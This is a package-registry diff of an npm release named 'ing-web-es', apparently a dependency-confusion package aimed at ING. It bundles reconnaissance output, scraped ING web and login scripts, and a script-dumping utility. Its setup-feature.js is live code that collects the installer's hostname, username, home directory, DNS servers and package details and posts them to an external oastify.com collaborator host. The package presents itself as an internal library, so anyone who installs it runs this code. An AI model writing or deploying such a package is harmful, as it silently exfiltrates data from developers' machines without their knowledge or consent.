ing-web-es 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ing-web-es might be problematic. Click here for more details.

Files changed (207) hide show
  1. package/45210.py +84 -0
  2. package/EMBEDDED_IFRAME_ON_WEB_PAGE.flv +0 -0
  3. package/FinalPoc.ogx +0 -0
  4. package/SCOPE_ing +20 -0
  5. package/brandportal.ing.com/dump-scripts.py +83 -0
  6. package/brandportal.ing.com/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  7. package/brandportal.ing.com/scripts/accounting.min.js +155 -0
  8. package/brandportal.ing.com/scripts/assetWindowContainer.bundle.js +23827 -0
  9. package/brandportal.ing.com/scripts/assets.js +1223 -0
  10. package/brandportal.ing.com/scripts/bootstrap-select.min.js +1287 -0
  11. package/brandportal.ing.com/scripts/bootstrap.min.js +1530 -0
  12. package/brandportal.ing.com/scripts/chosen.jquery.min.js +1238 -0
  13. package/brandportal.ing.com/scripts/core.main.js +1059 -0
  14. package/brandportal.ing.com/scripts/en_120.js +5247 -0
  15. package/brandportal.ing.com/scripts/hoverIntent.js +139 -0
  16. package/brandportal.ing.com/scripts/jquery-3.5.1.min.js +3242 -0
  17. package/brandportal.ing.com/scripts/jquery-ui-timepicker-addon.js +1471 -0
  18. package/brandportal.ing.com/scripts/jquery-ui.min.js +6711 -0
  19. package/brandportal.ing.com/scripts/jquery.are-you-sure.js +197 -0
  20. package/brandportal.ing.com/scripts/jquery.autotabs.js +42 -0
  21. package/brandportal.ing.com/scripts/jquery.backstretch.min.js +543 -0
  22. package/brandportal.ing.com/scripts/jquery.blockUI.js +442 -0
  23. package/brandportal.ing.com/scripts/jquery.datePicker.js +1151 -0
  24. package/brandportal.ing.com/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
  25. package/brandportal.ing.com/scripts/jquery.fileupload-audio.js +103 -0
  26. package/brandportal.ing.com/scripts/jquery.fileupload-image.js +313 -0
  27. package/brandportal.ing.com/scripts/jquery.fileupload-process.js +172 -0
  28. package/brandportal.ing.com/scripts/jquery.fileupload-ui.js +700 -0
  29. package/brandportal.ing.com/scripts/jquery.fileupload-validate.js +117 -0
  30. package/brandportal.ing.com/scripts/jquery.fileupload-video.js +103 -0
  31. package/brandportal.ing.com/scripts/jquery.fileupload.js +1451 -0
  32. package/brandportal.ing.com/scripts/jquery.form.js +892 -0
  33. package/brandportal.ing.com/scripts/jquery.number.min.js +150 -0
  34. package/brandportal.ing.com/scripts/jquery.ui.datepicker-en.js +26 -0
  35. package/brandportal.ing.com/scripts/jquery.ui.timepicker-en.js +6 -0
  36. package/brandportal.ing.com/scripts/jquery.validate.min.js +844 -0
  37. package/brandportal.ing.com/scripts/layout.bundle.js +673 -0
  38. package/brandportal.ing.com/scripts/load-image.all.min.js +770 -0
  39. package/brandportal.ing.com/scripts/local.bundle.js +310 -0
  40. package/brandportal.ing.com/scripts/moment.min.js +1562 -0
  41. package/brandportal.ing.com/scripts/nl.js +88 -0
  42. package/brandportal.ing.com/scripts/paginator.js +267 -0
  43. package/brandportal.ing.com/scripts/popper.min.js +844 -0
  44. package/brandportal.ing.com/scripts/selectAssetBrowser.bundle.js +47577 -0
  45. package/brandportal.ing.com/scripts/selectables.custom.js +174 -0
  46. package/brandportal.ing.com/scripts/slick.min.js +687 -0
  47. package/brandportal.ing.com/scripts/superfish.js +279 -0
  48. package/brandportal.ing.com/scripts/upload-main.js +90 -0
  49. package/brandportal.ing.com/scripts/video.min.js +12517 -0
  50. package/brandportal.ing.com/scripts/videojs.wavesurfer.min.js +495 -0
  51. package/brandportal.ing.com/scripts/wavesurfer.min.js +2775 -0
  52. package/burping.json +783 -0
  53. package/dump-scripts.py +83 -0
  54. package/ing.com.txt +365 -0
  55. package/ing.com_200List.txt +30 -0
  56. package/ing.com_DIRSEARCH.txt +8220 -0
  57. package/ing_notes +1 -0
  58. package/nmap +1224 -0
  59. package/nuclei_ing.com.txt +9 -0
  60. package/package.json +12 -0
  61. package/poc.html +116 -0
  62. package/scope.txt +141 -0
  63. package/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  64. package/scripts/AliasCtrl.js +0 -0
  65. package/scripts/ChangePasswordCtrl.js +0 -0
  66. package/scripts/CustomErrorCtrl.js +0 -0
  67. package/scripts/ErrorCtrl.js +0 -0
  68. package/scripts/HeaderCtrl.js +0 -0
  69. package/scripts/LoginValidationService.js +0 -0
  70. package/scripts/NipValidator.js +0 -0
  71. package/scripts/Psd2AliasCtrl.js +0 -0
  72. package/scripts/RegonValidator.js +0 -0
  73. package/scripts/SmsCtrl.js +0 -0
  74. package/scripts/TimeZoneInfoCollectorPanel-ver-1634885786000.js +2 -0
  75. package/scripts/accounting.min.js +155 -0
  76. package/scripts/angular-animate.min.js +0 -0
  77. package/scripts/angular-cookies.min.js +0 -0
  78. package/scripts/angular-translate.min.js +0 -0
  79. package/scripts/angular-ui-router.js +0 -0
  80. package/scripts/angular.min.js +0 -0
  81. package/scripts/assetWindowContainer.bundle.js +23827 -0
  82. package/scripts/assets.js +1223 -0
  83. package/scripts/bootstrap-select.min.js +1287 -0
  84. package/scripts/bootstrap.min.js +1530 -0
  85. package/scripts/chosen.jquery.min.js +1238 -0
  86. package/scripts/core.main.js +1059 -0
  87. package/scripts/criticalMessageService.js +0 -0
  88. package/scripts/data-dir-cookies-bar.js +0 -0
  89. package/scripts/data-dir-progress-pie.js +0 -0
  90. package/scripts/dir-critical-message.js +0 -0
  91. package/scripts/dir-login-keyboard.js +0 -0
  92. package/scripts/dir-login-validation.js +0 -0
  93. package/scripts/en_120.js +5247 -0
  94. package/scripts/environment.js +22 -0
  95. package/scripts/gemius-init.js +0 -0
  96. package/scripts/gemiusID.js +0 -0
  97. package/scripts/hoverIntent.js +139 -0
  98. package/scripts/ing-vendor.min-ver-1634885786000.js +2 -0
  99. package/scripts/ing-ver-1634885786000.js +2 -0
  100. package/scripts/jquery-3.5.1.min.js +3242 -0
  101. package/scripts/jquery-ui-timepicker-addon.js +1471 -0
  102. package/scripts/jquery-ui.min.js +6711 -0
  103. package/scripts/jquery.are-you-sure.js +197 -0
  104. package/scripts/jquery.autotabs.js +42 -0
  105. package/scripts/jquery.backstretch.min.js +543 -0
  106. package/scripts/jquery.blockUI.js +442 -0
  107. package/scripts/jquery.datePicker.js +1151 -0
  108. package/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
  109. package/scripts/jquery.fileupload-audio.js +103 -0
  110. package/scripts/jquery.fileupload-image.js +313 -0
  111. package/scripts/jquery.fileupload-process.js +172 -0
  112. package/scripts/jquery.fileupload-ui.js +700 -0
  113. package/scripts/jquery.fileupload-validate.js +117 -0
  114. package/scripts/jquery.fileupload-video.js +103 -0
  115. package/scripts/jquery.fileupload.js +1451 -0
  116. package/scripts/jquery.form.js +892 -0
  117. package/scripts/jquery.number.min.js +150 -0
  118. package/scripts/jquery.ui.datepicker-en.js +26 -0
  119. package/scripts/jquery.ui.timepicker-en.js +6 -0
  120. package/scripts/jquery.validate.min.js +844 -0
  121. package/scripts/jsbn-ver-1634886518000.js +2 -0
  122. package/scripts/layout.bundle.js +673 -0
  123. package/scripts/load-image.all.min.js +770 -0
  124. package/scripts/local.bundle.js +310 -0
  125. package/scripts/login-app.js +0 -0
  126. package/scripts/login-en.js +0 -0
  127. package/scripts/login-pl.js +0 -0
  128. package/scripts/login-states.js +0 -0
  129. package/scripts/main.js +23 -0
  130. package/scripts/mobileAuthCtrl.js +0 -0
  131. package/scripts/moment.min.js +1562 -0
  132. package/scripts/mon_ing_init.js +22 -0
  133. package/scripts/nl.js +88 -0
  134. package/scripts/paginator.js +267 -0
  135. package/scripts/pinLoginDefault-ver-1634885786000.js +2 -0
  136. package/scripts/popper.min.js +844 -0
  137. package/scripts/prng4-ver-1634886518000.js +2 -0
  138. package/scripts/psd2-states.js +0 -0
  139. package/scripts/rng-ver-1634886518000.js +2 -0
  140. package/scripts/rsa_jsbn-ver-1634886518000.js +2 -0
  141. package/scripts/selectAssetBrowser.bundle.js +47577 -0
  142. package/scripts/selectables.custom.js +174 -0
  143. package/scripts/sgemius.js +0 -0
  144. package/scripts/sha1.js +0 -0
  145. package/scripts/slick.min.js +687 -0
  146. package/scripts/superfish.js +279 -0
  147. package/scripts/upload-main.js +90 -0
  148. package/scripts/video.min.js +12517 -0
  149. package/scripts/videojs.wavesurfer.min.js +495 -0
  150. package/scripts/wavesurfer.min.js +2775 -0
  151. package/scripts/webtrekk_v4-ver-1634885786000.js +2 -0
  152. package/setup-feature.js +47 -0
  153. package/start.ingbusiness.pl/dump-scripts.py +83 -0
  154. package/start.ingbusiness.pl/form.html_v=202110040949 +52 -0
  155. package/start.ingbusiness.pl/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  156. package/start.ingbusiness.pl/scripts/AliasCtrl.js +136 -0
  157. package/start.ingbusiness.pl/scripts/ChangePasswordCtrl.js +162 -0
  158. package/start.ingbusiness.pl/scripts/CustomErrorCtrl.js +9 -0
  159. package/start.ingbusiness.pl/scripts/ErrorCtrl.js +30 -0
  160. package/start.ingbusiness.pl/scripts/HeaderCtrl.js +84 -0
  161. package/start.ingbusiness.pl/scripts/LoginService.js +86 -0
  162. package/start.ingbusiness.pl/scripts/LoginValidationService.js +52 -0
  163. package/start.ingbusiness.pl/scripts/NipValidator.js +30 -0
  164. package/start.ingbusiness.pl/scripts/PasswordCtrl.js +179 -0
  165. package/start.ingbusiness.pl/scripts/Psd2AliasCtrl.js +12 -0
  166. package/start.ingbusiness.pl/scripts/RegonValidator.js +73 -0
  167. package/start.ingbusiness.pl/scripts/RequestService.js +26 -0
  168. package/start.ingbusiness.pl/scripts/SmsCtrl.js +91 -0
  169. package/start.ingbusiness.pl/scripts/UnlockUserCtrl.js +79 -0
  170. package/start.ingbusiness.pl/scripts/angular-animate.min.js +1535 -0
  171. package/start.ingbusiness.pl/scripts/angular-cookies.min.js +62 -0
  172. package/start.ingbusiness.pl/scripts/angular-translate.min.js +871 -0
  173. package/start.ingbusiness.pl/scripts/angular-ui-router.js +1561 -0
  174. package/start.ingbusiness.pl/scripts/angular.min.js +9845 -0
  175. package/start.ingbusiness.pl/scripts/criticalMessageService.js +24 -0
  176. package/start.ingbusiness.pl/scripts/data-dir-button-loader.js +30 -0
  177. package/start.ingbusiness.pl/scripts/data-dir-compile-template.js +17 -0
  178. package/start.ingbusiness.pl/scripts/data-dir-cookies-bar.js +37 -0
  179. package/start.ingbusiness.pl/scripts/data-dir-progress-pie.js +102 -0
  180. package/start.ingbusiness.pl/scripts/data-dir-svg-icon.js +633 -0
  181. package/start.ingbusiness.pl/scripts/data-gemius-event.js +119 -0
  182. package/start.ingbusiness.pl/scripts/dir-critical-message.js +9 -0
  183. package/start.ingbusiness.pl/scripts/dir-help-panel-content.js +29 -0
  184. package/start.ingbusiness.pl/scripts/dir-login-keyboard.js +346 -0
  185. package/start.ingbusiness.pl/scripts/dir-login-validation.js +20 -0
  186. package/start.ingbusiness.pl/scripts/dir-nav-links.js +26 -0
  187. package/start.ingbusiness.pl/scripts/dir-title.js +21 -0
  188. package/start.ingbusiness.pl/scripts/gemius-init.js +12 -0
  189. package/start.ingbusiness.pl/scripts/gemiusID.js +32 -0
  190. package/start.ingbusiness.pl/scripts/hashService.js +91 -0
  191. package/start.ingbusiness.pl/scripts/helpPanelPasswordService.js +26 -0
  192. package/start.ingbusiness.pl/scripts/helpPanelService.js +92 -0
  193. package/start.ingbusiness.pl/scripts/jquery-3.5.1.min.js +3242 -0
  194. package/start.ingbusiness.pl/scripts/login-app.js +107 -0
  195. package/start.ingbusiness.pl/scripts/login-en.js +73 -0
  196. package/start.ingbusiness.pl/scripts/login-pl.js +74 -0
  197. package/start.ingbusiness.pl/scripts/login-states.js +156 -0
  198. package/start.ingbusiness.pl/scripts/maskService.js +194 -0
  199. package/start.ingbusiness.pl/scripts/maskUtilService.js +302 -0
  200. package/start.ingbusiness.pl/scripts/mobileAuthCtrl.js +189 -0
  201. package/start.ingbusiness.pl/scripts/psd2-states.js +67 -0
  202. package/start.ingbusiness.pl/scripts/securityPolicyService.js +119 -0
  203. package/start.ingbusiness.pl/scripts/sgemius.js +257 -0
  204. package/start.ingbusiness.pl/scripts/sha1.js +210 -0
  205. package/start.ingbusiness.pl/scripts/sprintf.js +115 -0
  206. package/start.ingbusiness.pl/scripts/tabletScalingService.js +59 -0
  207. package/start.ingbusiness.pl/scripts/userAgentResolverService.js +12 -0
@@ -0,0 +1,2 @@
1
+ < !doctype html > < html lang = "de" > < head > < title > HTTP Status 404– nicht gefunden < /title><style type="text/css
2
+ ">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – nicht gefunden</h1></body></html>
@@ -0,0 +1,47 @@
1
+ //author:- log1-intigriti emerson@ex1.dev
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
24
+
25
+ var options = {
26
+ hostname: "https://705h7fibu2kvy0b6bgs35g87kyqtej28.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
27
+ port: 443,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
@@ -0,0 +1,83 @@
1
+ #!/usr/bin/env python3
2
+ import requests
3
+ from bs4 import BeautifulSoup as bs
4
+ import os
5
+ import hashlib
6
+ import argparse
7
+
8
+
9
+ """
10
+ Simple python utility to dump all scripts from a given page.
11
+ By: @SamuelAnttila
12
+ License: MIT
13
+ """
14
+
15
+ def download_script(url,downloads_dir_path,headers={},prettify=False):
16
+ """Download script into given directory. Note: Does nothing to avoid name collisions"""
17
+
18
+ # /asdf/file.js?123=123 -> file.js
19
+ url_path = requests.compat.urlparse(url).path
20
+ local_filename = os.path.basename(url_path)
21
+
22
+ if prettify:
23
+ # we can't stream if we want to prettify since we need the full file contents
24
+ res = requests.get(url, headers=headers)
25
+ code = jsbeautifier.beautify(res.text)
26
+ with open(os.path.join(downloads_dir_path,local_filename), 'w+') as f:
27
+ f.write(code)
28
+ else:
29
+ # streaming file download because putting everything in memory at once is silly if we don't have to
30
+ with requests.get(url, stream=True, headers=headers) as r:
31
+ r.raise_for_status()
32
+ with open(os.path.join(downloads_dir_path,local_filename), 'wb+') as f:
33
+ for chunk in r.iter_content(chunk_size=8192):
34
+ # If you have chunk encoded response uncomment if
35
+ # and set chunk_size parameter to None.
36
+ #if chunk:
37
+ f.write(chunk)
38
+ return local_filename
39
+
40
+
41
+ def ensure_dir(file_path):
42
+ """Ensure directory exists by creating it if not present"""
43
+ directory = os.path.dirname(file_path)
44
+ if not os.path.exists(directory):
45
+ os.makedirs(directory)
46
+
47
+ if __name__ == "__main__":
48
+ downloads_dirname = "scripts/"
49
+ curr_path = os.path.dirname(os.path.realpath(__file__))
50
+ downloads_path = os.path.join(curr_path,downloads_dirname)
51
+ ensure_dir(downloads_path)
52
+
53
+ parser = argparse.ArgumentParser(description='Download all scripts from a website into a scripts/ folder underneath this script')
54
+ parser.add_argument('url', metavar='URL', type=str, help='The url (including schema) from which to dump scripts')
55
+ parser.add_argument('--useragent', dest='useragent', type=str, default="Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", help='User agent to use when making requests')
56
+ parser.add_argument('--prettify', dest='prettify', action="store_true", default=False, help='If enabled uses jsbeautify to prettify/deobfuscate all downloaded javascript. Will fail if "jsbeautifier" not installed with pip. Recommended if you\'re dealing with minified files.')
57
+ args = parser.parse_args()
58
+
59
+ if args.prettify:
60
+ import jsbeautifier # only necessary if we actually want to use this functionality
61
+
62
+ res = requests.get(args.url,headers={"User-Agent":args.useragent})
63
+ soup = bs(res.text,features="html.parser")
64
+ for script in soup.find_all("script"):
65
+ if "src" in script.attrs:
66
+ #externally loaded script
67
+ download_url = requests.compat.urljoin(args.url, script.attrs["src"])
68
+ print(f'Downloaded {download_script(download_url,downloads_path,headers={"User-Agent":args.useragent},prettify=args.prettify)}')
69
+ else:
70
+ #inline script
71
+ print(script.text)
72
+ m = hashlib.sha256()
73
+ m.update(script.text.encode("utf32"))
74
+ local_filename = m.hexdigest() # To give all inline scripts a unique name we take the hash of its contents. Only identical scripts should collide.
75
+ with open(os.path.join(downloads_path,local_filename)+".js", 'w+') as f:
76
+ if not args.prettify:
77
+ f.write(script.text)
78
+ else:
79
+ f.write(jsbeautifier.beautify(script.text))
80
+ print("Done downloading scripts. They should be under the 'scripts/' folder.")
81
+
82
+
83
+
@@ -0,0 +1,52 @@
1
+ <div id="contentHolder" class="row">
2
+ <div class="left-orange-part"></div>
3
+ <div class="left mobile-auth">
4
+ <div class="small-orange-part"></div>
5
+ <h1>
6
+ <div class="mobile-auth--title">
7
+ <a href="#" class="go-back-login" data-ng-click="backToPrevStep()" title="{{'OTHER.BACK' | translate}}"
8
+ data-gemius-event="click"
9
+ data-gemius-parameters="['miejsce=ekrany_logowania_autoryzacja_mobilna','button=cofnij','metoda=onclick']">
10
+ <span data-ng-click="backToPrevStep()" data-dir-svg-icon data-par-icon="back" data-par-color="#ffffff" data-par-width="30px" data-par-height="30px"></span>
11
+ </a>
12
+ {{'FORMS.TITLE_OOBA' | translate }}
13
+ <dir-login-validation data-model-name="'alias'"></dir-login-validation>
14
+ </div>
15
+ </h1>
16
+ <div class="login-box mobile-auth-box">
17
+ <div class="mobile-auth--text standard">
18
+ <p><strong>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE1a' | translate}}</strong>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE1b' | translate}}</p>
19
+ <p>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE2a' | translate}}<strong>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE2b' | translate}}</strong></p>
20
+ </div>
21
+ <div class="mobile-auth--timer">
22
+ <div class="mobile-auth-header"></div>
23
+ <div class="progress-circle" data-ng-style="captchaImage">
24
+ <canvas data-dir-progress-pie
25
+ width="110"
26
+ height="110"
27
+ data-progress-part="elapsedTime"
28
+ data-progress-part-count="totalTimeInSeconds"
29
+ data-min-progress-angle="1"
30
+ data-show-digital-counter="false"
31
+ data-digital-counter-type="remainingSeconds"
32
+ data-progress-color="#e6e6e6"
33
+ data-progress-shadow-color="#ff6600"
34
+ data-counter-clockwise="true"
35
+ data-line-width="8"
36
+ data-counter-color="#333333"
37
+ />
38
+ </div>
39
+ <div class="mobile-auth-footer">
40
+ {{'FORMS.MOBILE_AUTH.REMAINING_TIME' | translate}} <strong class="large-seconds">{{remainingTime}}</strong> {{'FORMS.MOBILE_AUTH.REMAINING_TIME_SEC' | translate}}
41
+ </div>
42
+ </div>
43
+ <div class="mobile-auth--text small">
44
+ <span>{{'FORMS.MOBILE_AUTH.PREFER_SMS' | translate}} <a href="#" ng-click="onChangeToMask()">{{'FORMS.MOBILE_AUTH.SEND_SMS' | translate}}</a></span>
45
+ </div>
46
+ <div class="clear"></div>
47
+ <div class="clear"></div>
48
+ </div>
49
+ </div>
50
+ <div class="right-mask-part"></div>
51
+ <div class="keyboard-holder" data-dir-login-keyboard data-ng-click="holderClicked()"></div>
52
+ </div>
@@ -0,0 +1,136 @@
1
+ 'use strict';
2
+
3
+ loginApp.controller('AliasCtrl', ['$rootScope', '$scope', '$state', '$http', '$interval', 'loginService', 'loginValidationService', 'helpPanelService', 'criticalMessageService',
4
+ 'com.comarch.cib.corpo.webapp.validation.api.rules.identity.NipValidator',
5
+ 'com.comarch.cib.corpo.webapp.validation.api.rules.identity.RegonValidator',
6
+ function($rootScope, $scope, $state, $http, $interval, loginService, loginValidationService, helpPanelService, criticalMessageService,
7
+ nipValidator, regonValidator) {
8
+
9
+ $scope.formData = {
10
+ alias: '',
11
+ nipRegon: ''
12
+ };
13
+ $scope.aliasValid = true;
14
+ $scope.nipRegonValid = true;
15
+ loginService.isTppLogin().then(function(result) {
16
+ $scope.tppLogin = result;
17
+ });
18
+ helpPanelService.setCurrentFirstLoginStep('ALIAS_BBCODE');
19
+ helpPanelService.refocusInputFunction = focusAliasInput;
20
+ helpPanelService.additionalStyleClass = 'alias';
21
+ criticalMessageService.show();
22
+
23
+ $scope.gemiusDefaultKeyboardParams = ['miejsce=ekrany_logowania_login'];
24
+
25
+ var requestSent = false;
26
+
27
+ $scope.$on('$destroy', function() {
28
+ criticalMessageService.hide();
29
+ });
30
+
31
+ loginValidationService.registerConfig({
32
+ name: 'alias',
33
+ validators: [{
34
+ validateFunction: isAliasFilled,
35
+ errorMessage: 'ERRORS.ALIAS_REQUIRED'
36
+ }]
37
+ });
38
+ loginValidationService.registerConfig({
39
+ name: 'nipRegon',
40
+ validators: [{
41
+ validateFunction: isNipRegonFilled,
42
+ errorMessage: 'ERRORS.NIP_REGON_REQUIRED'
43
+ }, {
44
+ validateFunction: validateNipRegon,
45
+ errorMessage: 'ERRORS.NIP_REGON_NOT_VALID'
46
+ }]
47
+ });
48
+
49
+ $scope.extendParams = angular.noop;
50
+
51
+ $scope.proceed = function() {
52
+ $scope.aliasValid = loginValidationService.validate('alias');
53
+ $scope.nipRegonValid = loginValidationService.validate('nipRegon');
54
+ if (!requestSent && $scope.aliasValid && $scope.nipRegonValid) {
55
+ requestSent = true;
56
+ var params = {
57
+ alias: $scope.formData.alias.replace(/\s/g, "").toLowerCase(),
58
+ osResoultion: screen.width + "x" + screen.height
59
+ };
60
+ if ($scope.tppLogin) {
61
+ params.nipRegon = $scope.formData.nipRegon;
62
+ }
63
+ $scope.extendParams(params);
64
+ $http.post('../json/login/alias', params).then(function(result) {
65
+ var nextState = result.data.ooba ? "mobileAuth" : "password";
66
+ $state.go(nextState, {
67
+ loginMask: result.data.loginMask,
68
+ mask: result.data.mask,
69
+ maskLength: result.data.maskLength,
70
+ alias: result.data.alias,
71
+ timerOoba: result.data.timerOoba,
72
+ frequencyTimer: result.data.frequencyTimer,
73
+ pid: result.data.pid
74
+ });
75
+ });
76
+ } else {
77
+ $scope.aliasValid && !$scope.nipRegonValid ? focusNipRegonInput() : focusAliasInput();
78
+ $rootScope.$broadcast('stopButtonLoader');
79
+ }
80
+ gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_login', 'button=dalej', 'metoda=onclick',
81
+ 'blad_walidacji=' + loginValidationService.getErrorForGemius('alias'));
82
+ };
83
+
84
+ $scope.sendAlias = function($event) {
85
+ if ($event.keyCode === 13 && !requestSent) {
86
+ $rootScope.$broadcast('startButtonLoader');
87
+ $scope.proceed();
88
+ }
89
+ };
90
+
91
+ function isAliasFilled() {
92
+ return $scope.formData.alias != null && $scope.formData.alias != '';
93
+ }
94
+
95
+ function isNipRegonFilled() {
96
+ return !$scope.tppLogin || ($scope.formData.nipRegon != null && $scope.formData.nipRegon != '');
97
+ }
98
+
99
+ function validateNipRegon() {
100
+ if (!$scope.tppLogin) {
101
+ return true;
102
+ }
103
+ try {
104
+ nipValidator.validate(null, $scope.formData.nipRegon);
105
+ return true;
106
+ } catch (ex) {}
107
+ try {
108
+ regonValidator.validate(null, $scope.formData.nipRegon)
109
+ return true;
110
+ } catch (ex) {}
111
+ return false;
112
+ }
113
+
114
+ function focusInput(elementId) {
115
+ var inputElement = document.getElementById(elementId);
116
+ if (inputElement) {
117
+ inputElement.focus();
118
+ }
119
+ }
120
+
121
+ function focusAliasInput() {
122
+ focusInput('alias-input');
123
+ }
124
+
125
+
126
+ function focusNipRegonInput() {
127
+ focusInput('nip-regon-input');
128
+ }
129
+
130
+ $scope.$on('$languageChanged', function() {
131
+ focusAliasInput();
132
+ });
133
+
134
+ focusAliasInput();
135
+ }
136
+ ]);
@@ -0,0 +1,162 @@
1
+ 'use strict';
2
+
3
+ loginApp.controller('ChangePasswordCtrl', ['$rootScope', '$scope', '$state', '$stateParams', '$timeout', 'requestService',
4
+ 'loginService', 'maskService', 'hashService', 'securityPolicyService', 'settings', 'loginValidationService', 'helpPanelService', 'helpPanelPasswordService',
5
+ function($rootScope, $scope, $state, $stateParams, $timeout, requestService,
6
+ loginService, maskService, hashService, securityPolicyService, settings, loginValidationService, helpPanelService, helpPanelPasswordService) {
7
+
8
+ var WEAK_PASS_TRESHOLD = 0.375;
9
+ var MEDIUM_PASS_TRESHOLD = 0.75;
10
+
11
+ var SLIDER_WIDTH = 400;
12
+ var DOT_WIDTH = 10;
13
+ var dotPosition = 0;
14
+ helpPanelService.setCurrentFirstLoginStep('NEW_PASSWORD_BBCODE');
15
+ helpPanelService.refocusInputFunction = focusPasswordInput;
16
+ helpPanelService.showFirstLoginHelpPanel('ekrany_logowania_pierwsze_logowanie_podaj_haslo');
17
+
18
+ var commonGemiusParams = ['miejsce=ekrany_logowania_pierwsze_logowanie_podaj_haslo', 'metoda=onclick'];
19
+ $scope.gemiusParamsCloseKeyboardNewPassword = getGemiusKeyboardParams('klawiatura_ekranowa_nowe_haslo=zamknij');
20
+ $scope.gemiusParamsUseKeyboardNewPassword = getGemiusKeyboardParams('klawiatura_ekranowa_nowe_haslo=uzyj');
21
+ $scope.gemiusParamsCloseKeyboardRepeatPassword = getGemiusKeyboardParams('klawiatura_ekranowa_powtorz_haslo=zamknij');
22
+ $scope.gemiusParamsUseKeyboardRepeatPassword = getGemiusKeyboardParams('klawiatura_ekranowa_powtorz_haslo=uzyj');
23
+
24
+ function getGemiusKeyboardParams(param) {
25
+ var params = commonGemiusParams.slice();
26
+ params.splice(1, 0, param);
27
+ return params;
28
+ }
29
+
30
+ var requestSent = false;
31
+
32
+ $scope.formData = {
33
+ alias: $stateParams.alias,
34
+ newPassword: '',
35
+ repeatPassword: ''
36
+ };
37
+
38
+ $scope.passwordStrengthLabel = 'PASSWORD_STRENGTH.WEAK';
39
+
40
+ $scope.validationConfigName = 'change';
41
+ loginValidationService.registerConfig({
42
+ name: $scope.validationConfigName,
43
+ validators: [{
44
+ validateFunction: isRepeatCorrect,
45
+ errorMessage: 'ERRORS.INCORRECT_REPEAT'
46
+ }, {
47
+ validateFunction: arePolicyRulesFullfilled,
48
+ errorMessage: 'ERRORS.POLICY_RULES'
49
+ }]
50
+ });
51
+
52
+ $scope.valid = true;
53
+
54
+ $scope.maxPassLength = settings.pswMax;
55
+ securityPolicyService.init(settings);
56
+ maskService.init(settings);
57
+
58
+ $scope.$watch('formData.newPassword', function() {
59
+ var passwordStrength = securityPolicyService.calculatePasswordStrength($scope.formData.newPassword);
60
+ $scope.passwordStrengthLabel = mapPasswordStrengthLabel(passwordStrength);
61
+ updateIndicatorPosition(passwordStrength);
62
+ $scope.passwordStrength = passwordStrength;
63
+ helpPanelPasswordService.performPasswordValidation($scope.formData.newPassword);
64
+ });
65
+
66
+ $scope.proceed = function() {
67
+ if (!requestSent && ($scope.valid = loginValidationService.validate($scope.validationConfigName))) {
68
+ requestSent = true;
69
+ loginService.addCookie('cibUsrLoginCommand', new Date().getTime() + '');
70
+ var alias = $scope.formData.alias;
71
+ var masks = maskService.getMasks($scope.formData.newPassword, [alias]);
72
+ var request = {
73
+ masks: masks.p_masks,
74
+ passwords: masks.p_passwords,
75
+ sha1Passwords: masks.p_sha1_passwords,
76
+ alias: alias,
77
+ newPassword: hashService.calculateSHA1($scope.formData.newPassword + alias)
78
+ };
79
+ requestService.post('../json/login/changePassword', request).then(function(result) {
80
+ $scope.valid = !(result.data.message === 'ERRORS.CHANGE_PASSWORD_DISTINCT');
81
+ if ($scope.valid) {
82
+ loginService.processLoginResponse(result.data, null);
83
+ } else {
84
+ loginValidationService.addError($scope.validationConfigName, result.data.message, {
85
+ pswDistinct: settings.pswDistinct
86
+ });
87
+ var invalidElement = document.getElementById('password-input');
88
+ if (invalidElement) {
89
+ invalidElement.focus();
90
+ }
91
+ requestSent = false;
92
+ $rootScope.$broadcast('stopButtonLoader');
93
+ }
94
+ });
95
+ } else {
96
+ var validationResult = loginValidationService.getResult($scope.validationConfigName);
97
+ if (validationResult.error === 'ERRORS.INCORRECT_REPEAT') {
98
+ focusPasswordInput('repeat-password-input');
99
+ } else if (validationResult.error) {
100
+ focusPasswordInput('password-input');
101
+ }
102
+ $rootScope.$broadcast('stopButtonLoader');
103
+ }
104
+ gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_pierwsze_logowanie_podaj_haslo', 'button=zaloguj', 'sila_hasla=' +
105
+ $scope.passwordStrength, 'metoda=onclick', 'timing_start=logowanie', 'timing_time=' + new Date().getTime(), 'blad_walidacji=' +
106
+ loginValidationService.getErrorForGemius($scope.validationConfigName));
107
+ };
108
+
109
